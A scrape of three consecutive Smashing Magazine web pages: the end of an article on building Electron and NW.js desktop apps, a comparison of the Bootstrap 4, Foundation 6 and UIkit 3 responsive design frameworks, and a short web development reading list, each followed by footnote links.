Even then, you’ll be loading a lot of redundant code in the web app. Let’s say you have a require guarded behind a check like if(app.isInDesktop), along with a big chunk of desktop-specific code. Instead of detecting the environment at runtime and setting app.isInDesktop, you could pass true or false into your app as a flag at buildtime (for example, using the envify72 transform for Browserify). This will aide your module bundler of choice when it’s doing its static analysis and tree-shaking (i.e. dead-code elimination). It will now know whether app.isInDesktop is true. So, if you’re running your web build, it won’t bother going inside that if statement or traversing the require in question.

Continuous Delivery Link

There’s that release mindset again; it’s challenging. When you’re working on the web, you want to be able to roll out changes frequently. I believe in continually delivering small incremental changes that can be rolled back quickly. Ideally, with enough testing, an intern can push a little tweak to your master branch, resulting in your web app being automatically tested and deployed.

As we covered earlier, you can’t really do this with a desktop app. OK, I guess you technically could if you’re using Electron, because electron-builder can be automated and, so, can spectron tests. I don’t know anyone doing this, and I wouldn’t have enough faith to do it myself. Remember, broken code can’t be taken back, and you could break the update flow. Besides, you don’t want to deliver desktop updates too often anyway. Updates aren’t silent, like they are on the web, so it’s not very nice for the user. Plus, for users on macOS, delta updates aren’t supported, so users would be downloading a full new app for each release, no matter how small a tweak it has.

You’ll have to find a balance. A happy medium might be to release all fixes to the web as soon as possible and release a desktop app weekly or monthly — unless you’re releasing a feature, that is. You don’t want to punish a user because they chose to install your desktop app. Nothing’s worse than seeing a press release for a really cool feature in an app you use, only to realize that you’ll have to wait a while longer than everyone else. You could employ a feature-flags API to roll out features on both platforms at the same time, but that’s a whole separate topic. I first learned of feature flags from “Continuous Delivery: The Dirty Details73,” a talk by Etsy’s VP of Engineering, Mike Brittain.

Conclusion Link

So, there you have it. With minimal effort, you can add “desktop app developer” to your resumé. We’ve looked at creating your first modern desktop app, packaging, distribution, after-sales service and a lot more. Hopefully, despite the pitfalls and horror stories I’ve shared, you’ll agree that it’s not as scary as it seems. You already have what it takes. All you need to do is look over some API documentation. Thanks to a few new powerful APIs at your disposal, you can get the most value from your skills as a web developer. I hope to see you around (in the NW.js or Electron community) soon.

Further Reading Link

  • Resurrecting Clippy74,” Adam Lynch (me)

    How I built clippy.desktop with NW.js.
  • Essential Electron75,” Jessica Lord

    A plain-speak introduction to Electron and its core concepts.
  • Electron Documentation76
    Want to dig into the details? Get it straight from the source.
  • Electron Community77

    A curated list of Electron-related tools, videos and more.
  • Serverless Crash Reporting for Electron Apps78,” Adam Lynch (me)

    My experience dabbling with serverless architecture, specifically for handling crash reports from Electron apps.
  • electron-builder7939, Stefan Judis

    The complete solution for packaging and building a ready-for-distribution Electron app, with support for automatic updates (and more) out of the box.
  • autoUpdater8045,” Electron Documentation

    See just how simple Electron’s automatic-update API is.

(rb, al, il)

Footnotes Link

  1. 1 http://nwjs.io/
  2. 2 http://electron.atom.io/
  3. 3 https://www.smashingmagazine.com/2016/08/pixel-perfect-specifications-without-the-headaches/
  4. 4 https://www.smashingmagazine.com/2016/02/building-first-class-app-leverages-website-case-study/
  5. 5 https://www.smashingmagazine.com/2012/06/mobile-considerations-in-user-experience-design-web-or-native/
  6. 6 https://www.smashingmagazine.com/2016/08/a-beginners-guide-to-progressive-web-apps/
  7. 7 https://teamwork.com/chat
  8. 8 https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-large-opt.png
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-large-opt.png
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-large-opt.png
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-large-opt.png
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsHelloWorld-large-opt.png
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsHelloWorld-large-opt.png
  14. 14 http://engineroom.teamwork.com/resurrecting-clippy/
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-large-opt.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-large-opt.png
  17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-large-opt.png
  18. 18 http://modulecounts.com/
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-large-opt.png
  20. 20 https://github.com/Teamwork/node-auto-launch
  21. 21 https://www.teamwork.com/
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/01/atom-large-opt.png
  23. 23 https://www.smashingmagazine.com/wp-content/uploads/2017/01/atom-large-opt.png
  24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-large-opt.png
  25. 25 https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-large-opt.png
  26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronDiagram-large-opt.png
  27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronDiagram-large-opt.png
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronHelloWorld-large-opt.png
  29. 29 https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronHelloWorld-large-opt.png
  30. 30 https://github.com/electron/electron-api-demos
  31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/01/apiDemosApp-large-opt.png
  32. 32 https://www.smashingmagazine.com/wp-content/uploads/2017/01/apiDemosApp-large-opt.png
  33. 33 http://photonkit.com/
  34. 34 https://www.smashingmagazine.com/wp-content/uploads/2017/01/photon-large-opt.png
  35. 35 https://www.smashingmagazine.com/wp-content/uploads/2017/01/photon-large-opt.png
  36. 36 http://electron.atom.io/devtron/
  37. 37 http://blog.chromium.org/2016/08/from-chrome-apps-to-web.html
  38. 38 https://github.com/electron-userland/electron-packager
  39. 39 https://github.com/electron-userland/electron-builder
  40. 40 https://jenkins.io/
  41. 41 http://codeship.com/
  42. 42 https://travis-ci.org/
  43. 43 https://www.appveyor.com/
  44. 44 https://github.com/edjafarov/node-webkit-updater
  45. 45 http://electron.atom.io/docs/api/auto-updater/
  46. 46 https://github.com/Squirrel/Squirrel.Mac
  47. 47 https://github.com/Squirrel/Squirrel.Windows
  48. 48 https://github.com/ArekSredzki/electron-release-server
  49. 49 https://github.com/GitbookIO/nuts
  50. 50 https://github.com/ArekSredzki/electron-release-server
  51. 51 https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine
  52. 52 https://github.com/sindresorhus/is-online
  53. 53 https://www.smashingmagazine.com/wp-content/uploads/2017/01/dropdownComparison-large-opt.png
  54. 54 https://www.smashingmagazine.com/wp-content/uploads/2017/01/dropdownComparison-large-opt.png
  55. 55 https://www.smashingmagazine.com/wp-content/uploads/2017/01/hiddenTitleBar-large-opt.png
  56. 56 https://www.smashingmagazine.com/wp-content/uploads/2017/01/hiddenTitleBar-large-opt.png
  57. 57 http://electron.atom.io/docs/api/frameless-window
  58. 58 https://github.com/Quramy/electron-connect
  59. 59 https://github.com/sindresorhus/awesome-electron
  60. 60 http://electron.atom.io/docs/tutorial/application-packaging/
  61. 61 https://github.com/Teamwork/gulp-path-length
  62. 62 https://sentry.io/welcome/
  63. 63 https://docs.sentry.io/clients/javascript/config/#optional-settings
  64. 64 http://electron.atom.io/docs/api/crash-reporter/
  65. 65 https://www.google.ie/analytics/tag-manager/
  66. 66 https://github.com/cyrus-and/chrome-remote-interface
  67. 67 http://electron.atom.io/spectron/
  68. 68 https://babeljs.io/
  69. 69 http://rollupjs.org
  70. 70 https://webpack.github.io
  71. 71 http://browserify.org
  72. 72 https://github.com/hughsk/envify
  73. 73 https://www.youtube.com/watch?v=JR-ccCTmMKY
  74. 74 http://engineroom.teamwork.com/resurrecting-clippy/
  75. 75 http://jlord.us/essential-electron/
  76. 76 http://electron.atom.io/docs/
  77. 77 http://electron.atom.io/community/
  78. 78 http://engineroom.teamwork.com/serverless-crash-reports-for-electron-apps/
  79. 79 https://github.com/electron-userland/electron-builder
  80. 80 http://electron.atom.io/docs/api/auto-updater/

↑ Back to topTweet itShare on Facebook

Which Responsive Design Framework Is Best? Of Course, It Depends.

Which Responsive Design Framework Is Best? Of Course, It Depends.

In 2017, the question is not whether we should use a responsive design framework. Increasingly, we are using them. The question is which framework should we be using, and why, and whether we should use the whole framework or just parts of it.

With dozens of responsive design frameworks available to download, many web developers appear to be unaware of any except for Bootstrap. Like most of web development, responsive design frameworks are not one-size-fits-all. Let’s compare the latest versions of Bootstrap, Foundation and UIkit for their similarities and differences.

Further Reading on SmashingMag: Link

Three years ago, I wrote an article for Smashing Magazine, “Responsive Design Frameworks: Just Because You Can, Should You?5” In the article, I argued that responsive design frameworks should be used by professionals under the right circumstances and for appropriate projects. Custom design still has its place, of course. However, a fully customized approach is not appropriate to every website, under every timeline, every budget and every set of browser support guidelines.

Since that time, the industry has evolved at its typical breakneck pace. Sass, the CSS preprocessor, has become standard to most workflows. We’re more accustomed to adjusting Sass variables to customize existing code. We confidently work with mixins, building our own styles. We’ve even got Sass formulas for generating color schemes6 that we can incorporate in our work.

Workflows themselves have become standard, making use of technologies such as Node.js, Bower, Grunt, Gulp, Git and more. Old browsers continue to fall away, allowing front-end developers to confidently use more features of HTML5 and CSS3, with fewer worries about significant cross-browser compatibility issues.

Revisiting the 131 comments on my 2014 article, I saw readers suggesting a number of approaches to making use of responsive design frameworks:

  • Some suggested using part of a framework with your own custom code.
  • Several developers plugged their own framework, either written from scratch or with code forked from another framework.
  • Several developers suggested frameworks that I did not cover, including Susy, Singularity, Breakpoint, UIkit, Pattern Lab, Toolkit, Pure, Cardinal, Skeleton, ResponsiveBP and many others.

All of these are legitimate approaches. Hundreds of frameworks are available. Many who have been in the business for some time have a favorite, whether it’s an established framework or one they’ve created.

However, increasingly, I see students, clients and web development firms defaulting to Bootstrap as their starting point, often with little critical evaluation of whether it’s an appropriate solution to the task at hand. Clients hire me for training in Bootstrap, for example, and then ask how they can add functionality that’s native to Foundation. When I ask, “Why not use Foundation?,” they tell me they’ve never heard of it and didn’t know there are options beyond Bootstrap for responsive design.

There is no way I could review the dozens, if not hundreds, of responsive design frameworks. However, given that Bootstrap is the 500-pound gorilla of responsive design, I’ve chosen two other frameworks to evaluate compared to Bootstrap7: Foundation8 and GetUIkit9. I’ve chosen these three frameworks based on the characteristics they share, in that they are full-service responsive design frameworks. They offer grid systems, SCSS with piles of variables and mixins for customizations, basic styling of nearly all HTML5 tags, prestyled components such as badges, labels and cards, and piles of JavaScript-based features such as dropdown menus, accordions, tabs, image galleries, image carousels and so much more. All three frameworks offer ways of reducing file sizes to just those styles and functionalities needed to work on a given website. They are all in active development.

Again, I am not suggesting that these are the only responsive design frameworks, nor am I implying that they are the best frameworks. These are, however, popular frameworks with piles of features out of the box, making them attractive to many development firms wanting to work with “Bootstrap or a close equivalent.”

Background Information Link

To start the discussion, let’s examine some of the basic background features of each framework.

Bootstrap 4 Foundation for Sites 6 UIkit 3
Current version, release date 4.0.0-alpha 6, released January 2017 6.3.0, released January 2017 3.00 beta 9, released February 2017
Owned by Originally developed at Twitter by Mark Otto and Jacob Thornton, now an open-source project ZURB, a web development company in Campbell, California YOOtheme, a WordPress and Joomla theme development company in Hamburg, Germany
Website Bootstrap10 Foundation11
Standard distribution package includes Required CSS (1 minified, 1 standard, both with .map files); required JavaScript (1 minified, 1 standard). Former theme is incorporated in Sass files, activated by variables. (Glyphicons are not distributed with Bootstrap 4.) Also contains two additional sets of CSS files (1 minified, 1 standard, both with .map files): bootstrap-grid, which appears to be a flexbox-based grid system, possibly redundant at this point; and bootstrap-reboot, based on normalize.css. A CDN is available for standard distribution files. Four distributions12: Complete, Essential, Custom, Sass. Complete version includes compiled CSS (minified and not), plus compiled JavaScript, including individual vendor files. Essential includes typography, grid, Reveal, and Interchange only. Custom can be customized on the website for downloading, and the developer can choose elements to include and change a few variables. The Sass version can only be downloaded using the command line, Foundation CLI or Yeti Launcher. A CDN is available for standard distribution files. Distribution includes a single minified CSS file, a single minified JavaScript file and 26 SVG graphics. LESS, CSS, and JavaScript source files are available via Bower or npm. A CDN is available for standard distribution files.
Additional JavaScript libraries required? Yes, you must download or link to a CDN separately: jQuery 3.1.1 Slim, Tether 1.4.0. Files are linked to just before end of body element. All dependencies are bundled in the distribution. jQuery is required, but it is part of the distribution. Files are linked to just before end of body element. All dependencies are bundled in the distribution. jQuery is required, but it is part of the distribution. Linking to files in the head is recommended.
Browser support Latest versions of: Chrome (macOS, Windows, iOS and Android), Safari (macOS and iOS), Firefox (macOS, Windows, Android, iOS) (latest version of Firefox plus Extended Support Release), Edge (Windows, Windows 10 Mobile), Opera (macOS, Windows), Android Browser & WebView 5.0+, Windows 10 Mobile, Internet Explorer 10+ Last two versions of Chrome, Firefox, Safari, Opera, mobile Safari, Internet Explorer mobile, as well as Internet Explorer 9+ and Android browser 2.3+ Latest versions of Chrome, Firefox, Opera, Edge, Safari 7.1+, Internet Explorer 10+, No mention of mobile-specific browsers
Internet Explorer support Internet Explorer 10 and higher (Bootstrap 3 recommended for Internet Explorer 8 and 9) Internet Explorer 9 and higher Internet Explorer 10 and higher
Other browser support notes “Unofficially, Bootstrap should look and behave well enough in Chromium and Chrome for Linux, Firefox for Linux, and Internet Explorer 9, though they are not officially supported.” (source13) “JavaScript: Our plugins use a number of handy ECMAScript 5 features that aren’t supported in IE8.” (source14)
License and copyright Code and documentation copyright (2011 to 2017) of the Bootstrap authors and Twitter, Inc. Code released under the MIT License. Docs released under Creative Commons. MIT license, no mention of copyright MIT license, copyright of YOOtheme GmbH
Build tools “Bootstrap uses Grunt for its CSS and JavaScript build system and Jekyll for the written documentation. Our Gruntfile includes convenient methods for working with the framework, including compiling code, running tests, and more.” (source15) To access Sass files16, you must install using the command line, the Node.js-powered Foundation CLI, or with its Yeti Launch application (Mac only). “Foundation is available on npm, Bower, Meteor, and Composer. The package includes all of the source SCSS and JavaScript files, as well as compiled CSS and JavaScript, in uncompressed and compressed flavors.” Other versions of Foundation are available as simple downloads without using these tools, but without SCSS files. Bower and npm. Offer a SublimeText plugin and an Atom plugin for working with UIkit 3 as well.

In general, all three frameworks are in active development (all were updated in January or February 2017) and are mobile-first. All generally have some type of CSS preprocessor. UIkit version 3 beta currently only offers LESS. It will offer a SCSS port, as it’s offered in previous versions of UIkit, in future releases.

@jen4web2317 Yes, we will have a SASS port too. (like we have in UIkit 2)

— UIkit (@getuikit) February 9, 201718

Bootstrap transitioned from LESS to SCSS as part of its version 4 update. Foundation has always been written in SCSS, because ZURB is a Ruby on Rails shop, and Sass hails from the Ruby on Rails world.

There are notable differences with the build tools. Foundation is extremely picky about you using its workflow when working with the framework, if you wish to work with SCSS files. Unfortunately, Foundation offers few choices in tools. Bootstrap is much less picky about workflow, offering several options, including no workflow at all, even with its SCSS files. All frameworks offer at least one distribution ZIP file, containing all elements of the framework. Foundation offers a way to choose only certain elements in a download. Bootstrap 4 alpha and UIkit 3 beta do not offer this functionality currently, but they have previously offered this in older Bootstrap and UIkit versions. We can assume that once these frameworks reach their stable releases, this functionality will be offered as well.

Grid System Link

Each framework comes with a grid system, as one might expect. Bootstrap and Foundation’s grid systems include multiple breakpoints, nested grids, offsets and source ordering (i.e. changing the order of content on collapse). Exact breakpoint values vary, but the breakpoints are generally customizable with SCSS. UIkit’s grid is radically different and is described below.

With the most recent alpha 6 release, Bootstrap features a flexbox-based grid system by default. (This is partly the reason for its Internet Explorer 10+ browser support.) By default, Foundation features a floated grid system (which helps, in part, with its Internet Explorer 9+ support). Optionally in Foundation, you can compile a flexbox-based grid system by toggling an appropriate Sass variable and recompiling to CSS. Foundation notes that flexbox is not supported in Internet Explorer 9, so keep this in mind if this is a target browser for you.

Foundation offers a few more grid features than Bootstrap, including centered columns, incomplete rows, responsive gutters, semantic grid options and fluid rows.

Equal-height columns are a common problem when working with float-based grid systems. Foundation includes a JavaScript component named Equalizer. Because UIkit and Bootstrap are based on flexbox and not floats, equal-height columns are built into the grid system and are never an issue.

UIkit has a very different grid than Foundation and Bootstrap. Rather than a standard 12-column system, UIkit has broken its layouts into three components: grid, flex and width. Starting with the grid component19, you can create as many columns as you wish:

To create the grid container, add the uk-grid attribute to a <div> element. There’s no need to add a class. Add child <div> elements to create the cells. By default, all grid cells are stacked. To place them side by side, add one of the classes from the Width component. Using uk-child-width-expand will automatically apply equal width to items, regardless of how many there are.

As implied in the documentation, grid sets up the boxes that might be next to each other in some layouts, while width determines the width of those boxes, and flex determines the layout within each box, using flexbox properties. Finally, unlike other grid systems, UIkit offers a border between grid columns.

20
Foundation’s equalizer is designed to create equal-height columns. (Image: Foundation Docs21) (View large version22)

CSS And Default Styling Link

All three frameworks come with some level of CSS styling. The styling can be changed through an overriding style sheet or by modifying the provided SCSS or LESS preprocessor files. Generally speaking, basic styling is provided for all, or nearly all, HTML5 elements. All frameworks provide some quantity of utility classes, generally used for printing, responsiveness and the visibility of elements. Foundation and UIkit offer right-to-left support for languages written in that direction. UIkit states that it will feature a RTL version and the option to compile UIkit with a custom prefix.

@jen4web2317 Also a RTL version and the option to compile UIkit with a custom prefix (like ba- instead of uk-)

— UIkit (@getuikit) February 9, 201724

It is unclear from its documentation whether Bootstrap 4 is offering RTL support, but it has been available in previous versions. It seems like this might be part of a future stable release25. There is much interest in including this feature in the Bootstrap community.

The framework with the least out-of-the-box styling is Foundation. This framework has long assumed that its users are more advanced developers who will want to write their own styling for their projects. Therefore, ZURB has always provided less styling out of the box by design, meaning there will be fewer styles to override later.

UIkit offers two color options, accessible via the Inverse component. They include the standard scheme (light backgrounds and dark text) and a contrast scheme (dark backgrounds and light text). UIkit also offers some unique styled components, such as Articles and Comments, as well as Placeholder, which provides an empty space for drag-and-drop file-uploading interfaces. If you recall YOOtheme’s WordPress and Joomla theming roots, these features make perfect sense. Neither Bootstrap nor Foundation includes this styling specific to content management systems, so this is a distinguishing characteristic of the framework.

UIkit26
UIkit offers comment styling out of the box, one of its unique styling features. (Image: UIkit Docs27) (View large version28)

Bootstrap offers much more than Foundation. Indeed, Bootstrap’s distinctive look has permeated websites for several years. Bootstrap 4 has a similar look to Bootstrap 3. Bootstrap still offers several colors, such as “warning,” “danger,” “primary,” “info” and “success,” and it typically offers a few variations on styling certain HTML elements, such as tables and forms.

It’s also worth comparing the CSS units in each framework. Bootstrap 4 uses rem as its primary CSS unit throughout. However, it states, “pixels are still used for media queries and grid behavior as viewports are not affected by type size.” Bootstrap also increased its base font size from 14 pixels in version 3 to 16 pixels in version 4.

Foundation says29, “We use the rem unit nearly everywhere in Foundation, and even wrote a Sass function to make it a little easier. The rem-calc() function can take one or more pixel values and convert them to proper rem values.”

Finally, UIkit seems to use pixels as a primary size unit, although occasionally uses percentages and rems in a few places in its LESS files. Its CSS size philosophy is not addressed in its documentation.

Navigation And Navigation Elements Link

All three frameworks ship with responsive navigation elements. All include some fairly common navigation components, like formatted breadcrumbs, tabs, accordions and pagination. There are minor variations between these, but they all typically work as expected.

All three frameworks ship with dropdown menus. In general, these dropdowns may be used in several scenarios: with standard responsive navbars, with tabs, with buttons, etc. All three include vertical dropdowns. Foundation and UIkit also include horizontal dropdowns, in which the dropdown is displayed as a row rather than a column.

Navigation bars are present in all three frameworks. Each navbar can accommodate website branding and search and can be made sticky, and elements can be aligned left or right in the bar. All navigation bars collapse, but they may present collapsed content differently (some via a hamburger button plus a dropdown, some via an off-canvas menu). The navigation bars also have a few differences among themselves.

Bootstrap30
Bootstrap’s iconic navigation bar now comes with easy color options by combining class names, or an inline color option. (Image: Bootstrap Docs31) (View large version32)

Bootstrap offers some basic horizontal and vertical navigation bars with different styling options (tabs, pills, stacked pills, justified or plain styling). It offers a separate horizontal responsive navigation bar, which creates a hamburger button on collapse. Two color schemes are available, with colors and breakpoints customizable through SCSS.

Foundation had a responsive navigation bar in previous versions similar to Bootstrap’s. In version 6, it has turned several navigation bar treatments into individual elements that can be combined. For example, on collapse, the navigation may be hidden behind a hamburger button, behind an off-canvas treatment or behind a drilldown menu, in which the user loads screens of menu items. These types of navigation treatment may be changed at specific screen sizes. For example, the full navigation bar may be available at desktop dimensions but switch to a drilldown for mobile.

UIkit’s bar offers functionality similar to Bootstrap’s. By default, it does not have a built-in toggle, but this is easily added with the appropriate CSS classes and JavaScript. Collapsed content is typically behind a hamburger button, and it may be coupled with off-canvas functionality. UIkit also specifically offers an icon-based navigation bar (iconbar). It ships with 26 SVG icons, which can be integrated in this bar, with the promise of more icons in the future.

JavaScript Components Link

All three frameworks depend on jQuery for their JavaScript-based components. Foundation and UIkit ship with a copy of jQuery, while Bootstrap relies on connecting to jQuery via a CDN or a download.

All three frameworks contain similar types of functionality: tooltips, modal windows, accordions, tabs, dropdown menus, image carousels, etc.

Foundation has two handy components that set it apart. One is Abide, a full-featured HTML5 form-validation library. It can handle client-side error-checking of forms. The other is Interchange, a JavaScript-based responsive image loader. It’s compatible with images and with bits of HTML and text. It loads the appropriate content on the page based on media queries. Despite the fact that one of the defining characteristics of responsive design is images that resize, neither Bootstrap nor UIkit offers similar functionality.

UIkit combines its styles and JavaScript components in its documentation, calling it all “components.” Some of the unique JavaScript-based components currently available in its beta release include Scroll, which allows smooth scrolling to other parts of the web page, and Sortable, which enables drag-and-drop grids on the page.

In future versions of UIkit33, we are promised many components from UIkit 2, including “Slideshow, Slider, Slideset, Parallax, Nestable, Lightbox, Dynamic Grid, HTML editor, Date- and Timepicker components.” It’s worth highlighting HTML Editor, and the Date- and Timepicker components, because these are typically used in administrative interfaces and in applications. Remember that YOOtheme creates Joomla and WordPress themes as part of its business, so these are important components for it. Neither Foundation nor Bootstrap includes these admin-friendly widgets, so this is a distinguishing characteristic of this framework.

One of UIkit’s most distinguishing JavaScript features34, however, is this:

UIkit is listening for DOM manipulations and will automatically initialize, connect and disconnect components as they are inserted or removed from the DOM. That way it can easily be used with JavaScript frameworks like Vue.js and React.

So, Which Is Best? Link

It depends! All three projects are actively maintained and have devoted followers. In the end, the right framework for you will depend on your project’s requirements, where you need help in programming (making it pretty? coding functionality?) and your personal coding philosophy (rems versus pixels? LESS versus Sass?). As with all technology, there is no perfect choice, and you will have to make compromises on features, functionality and code styles.

With this in mind, here are some points to weigh in making your decision.

  • Browser support

    The framework versions reviewed here support similar browsers. However, going back one framework version, or following the instructions for incorporating polyfills, might increase support for important browsers. In particular, if you need Internet Explorer 8 support, you might want to look at Bootstrap 3.
  • CSS unit differences

    Foundation keeps nearly all of its units in ems and rems. Bootstrap uses mostly ems and rems, with pixels for media queries. UIkit uses mostly pixel measurements. Some developers have strong opinions about these approaches and might choose a framework based on them.
  • Quantity of styling

    UIkit has a lot of out-of-the box styling. Foundation has much less. Bootstrap is somewhere in between. How much styling do you need to override? How much styling do you want to be present already? Do you want to write very little or none?
  • CSS preprocessors

    Foundation was written in SCSS natively. Bootstrap had a port from LESS to SCSS in version 3, then rewrote its SCSS in version 4. UIkit continues to work in LESS while in beta, but it will offer a SCSS port in future releases. This could also affect your choice of framework.
  • Workflow

    If you wish to modify SCSS files, know that Foundation will lock you into a fairly rigid workflow. Bootstrap and UIkit offer a workflow, but you can choose a different workflow or no workflow at all.
  • JavaScript components

    Foundation offers form validation and responsive content management. UIkit is specifically built to work with reactive JavaScript frameworks, and it includes components for building an admin interface. Depending on the components you require, this could sway your decision.
  • Grid differences

    Bootstrap and Foundation offer 12-column grids. UIkit offers a very different approach to grid layout, with very different styling. Foundation’s grid can easily be modified to greater or fewer columns with SCSS, and it can be made semantic as well. Grids for UIkit and Bootstrap are flexbox-based by default, while Foundation’s are float-based, but convertible to flexbox through SCSS.

(da, al, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2015/04/creating-web-app-in-foundation-for-apps/
  2. 2 https://www.smashingmagazine.com/2016/08/test-automation-frameworks-for-react-native-apps/
  3. 3 https://www.smashingmagazine.com/2014/10/providing-a-native-experience-with-web-technologies/
  4. 4 https://www.smashingmagazine.com/2015/01/basic-test-automation-for-apps-games-and-mobile-web/
  5. 5 https://www.smashingmagazine.com/2014/02/responsive-design-frameworks-just-because-you-can-should-you/
  6. 6 http://tallys.github.io/color-theory/
  7. 7 http://getbootstrap.com/
  8. 8 http://foundation.zurb.com/
  9. 9 https://getuikit.com/
  10. 10 http://v4-alpha.getbootstrap.com/
  11. 11 http://foundation.zurb.com/sites/docs/
  12. 12 http://getuikit.com/
  13. 13 http://v4-alpha.getbootstrap.com/getting-started/browsers-devices/
  14. 14 http://foundation.zurb.com/sites/docs/compatibility.html
  15. 15 https://v4-alpha.getbootstrap.com/getting-started/build-tools/
  16. 16 http://foundation.zurb.com/sites/docs/installation.html
  17. 17 https://twitter.com/jen4web
  18. 18 https://twitter.com/getuikit/status/829680161968775168
  19. 19 https://getuikit.com/docs/grid#usage
  20. 20 https://www.smashingmagazine.com/wp-content/uploads/2017/02/foundation-grid-opt.png
  21. 21 http://foundation.zurb.com/sites/docs/equalizer.html
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/02/foundation-grid-opt.png
  23. 23 https://twitter.com/jen4web
  24. 24 https://twitter.com/getuikit/status/829680541179985920
  25. 25 https://github.com/twbs/bootstrap/issues/19555
  26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/02/uikit-comment-opt.png
  27. 27 https://getuikit.com/docs/comment#lists
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/02/uikit-comment-opt.png
  29. 29 http://foundation.zurb.com/sites/docs/typography-base.html
  30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/02/bootstrap-nav-opt.png
  31. 31 http://v4-alpha.getbootstrap.com/components/navbar/
  32. 32 https://www.smashingmagazine.com/wp-content/uploads/2017/02/bootstrap-nav-opt.png
  33. 33 https://yootheme.com/blog/2017/01/09/uikit-3-beta-released
  34. 34 https://getuikit.com/docs/javascript#uikit-and-reactive-javascript-frameworks

↑ Back to topTweet itShare on Facebook

Web Development Reading List #174: The Bricks We Lay, Remynification, And 0-RTT

Web Development Reading List #174: The Bricks We Lay, Remynification, And 0-RTT

We’re all designers. Whether we do a layout, a product design or write code to design a product technically doesn’t matter here. What does matter though, is that we always take the context of a project into consideration. Because as someone shaping a project so that it is appealing to the clients and works in the best way possible for the target audience, we have a pretty big responsibility.

Imagine architects building a wall out of recycled material that also looks nice — sounds pretty great, right? But seen in the context that this will be a wall that divides people and encourages racism and even more inequality in our society, our first impression of the undertaking suddenly shifts into the opposite direction. We have to make new decisions every time we start a new project, and seeing things in context is crucial to live up to our responsibility — both in our work and our lives.

Further Reading on SmashingMag: Link

News Link

6
Sketch already benefits from a thriving third-party plugin ecosystem and thanks to it’s new open-source file format, Sketch 43 will enable even more powerful integrations7 for third-party developers. (Image credit8)

General Link

  • Ethan Marcotte wrote a thought-provoking article about “the bricks we lay9”. In it, he describes a situation where people do work claiming they’re only focusing on the task they do and therefore are apolitical. But your work is never neutral.
  • In the last edition of the web development reading list, I shared the first part10 of Bruce Lawson’s story about the “World Wide Web, Not Wealthy Western Web”. Today comes the second part11 of the mandatory read of this week.

Tools & Workflows Link

  • Remy Luisant came up with a tool that optimizes your CSS output just a little bit better than you’re used to: CSS Remynification12.
  • Bit13 is an interesting concept of a distributed virtual component repository that combines a lot of existing strategies into one universal component manager.

Security Link

Web Performance Link

0-RTT21
With 0-RTT, encrypted HTTPS requests become just as fast as unencrypted HTTP requests22. (Image credit23)

JavaScript Link

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation25 or share this resource with other people. You can learn more about the costs of the project here26. It’s available via email, RSS and online.

— Anselm

Footnotes Link

  1. 1 https://www.smashingmagazine.com/sketch-handbook/
  2. 2 https://www.smashingmagazine.com/2016/08/a-glimpse-into-the-future-with-react-native-for-web/
  3. 3 https://www.smashingmagazine.com/2016/12/front-end-performance-checklist-2017-pdf-pages/
  4. 4 https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6263790-object-fit-and-object-position
  5. 5 https://medium.com/sketch-app-sources/sketch-43-is-coming-to-town-with-a-new-game-an-open-file-format-ae62e7e7c223
  6. 6 https://medium.com/sketch-app-sources/sketch-43-is-coming-to-town-with-a-new-game-an-open-file-format-ae62e7e7c223#.y94mlusbd
  7. 7 https://medium.com/sketch-app-sources/sketch-43-is-coming-to-town-with-a-new-game-an-open-file-format-ae62e7e7c223
  8. 8 https://medium.com/sketch-app-sources/sketch-43-is-coming-to-town-with-a-new-game-an-open-file-format-ae62e7e7c223#.y94mlusbd
  9. 9 https://ethanmarcotte.com/wrote/the-bricks-we-lay/
  10. 10 https://www.smashingmagazine.com/2017/03/world-wide-web-not-wealthy-western-web-part-1/
  11. 11 https://www.smashingmagazine.com/2017/03/world-wide-web-not-wealthy-western-web-part-2/
  12. 12 https://luisant.ca/remynifier
  13. 13 https://github.com/teambit/bit
  14. 14 http://www.recode.net/2017/3/13/14912394/google-allo-search-history-privacy-messaging-app
  15. 15 https://paragonie.com/blog/2017/03/jwt-json-web-tokens-is-bad-standard-that-everyone-should-avoid
  16. 16 https://www.bleepingcomputer.com/news/security/researchers-break-mac-address-randomization-and-track-100-percent-of-test-devices/
  17. 17 https://blog.cloudflare.com/introducing-0-rtt/
  18. 18 https://research.googleblog.com/2017/03/announcing-guetzli-new-open-source-jpeg.html
  19. 19 https://mobile.twitter.com/kornelski/status/842513840898228224
  20. 20 https://blog.vixlet.com/react-at-light-speed-78cd172a6411
  21. 21 https://blog.cloudflare.com/introducing-0-rtt/
  22. 22 https://blog.cloudflare.com/introducing-0-rtt/
  23. 23 https://blog.cloudflare.com/introducing-0-rtt/
  24. 24 https://blog.wanderview.com/blog/2017/03/13/firefox-52-settimeout-changes/
  25. 25 https://wdrl.info/donate
  26. 26 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook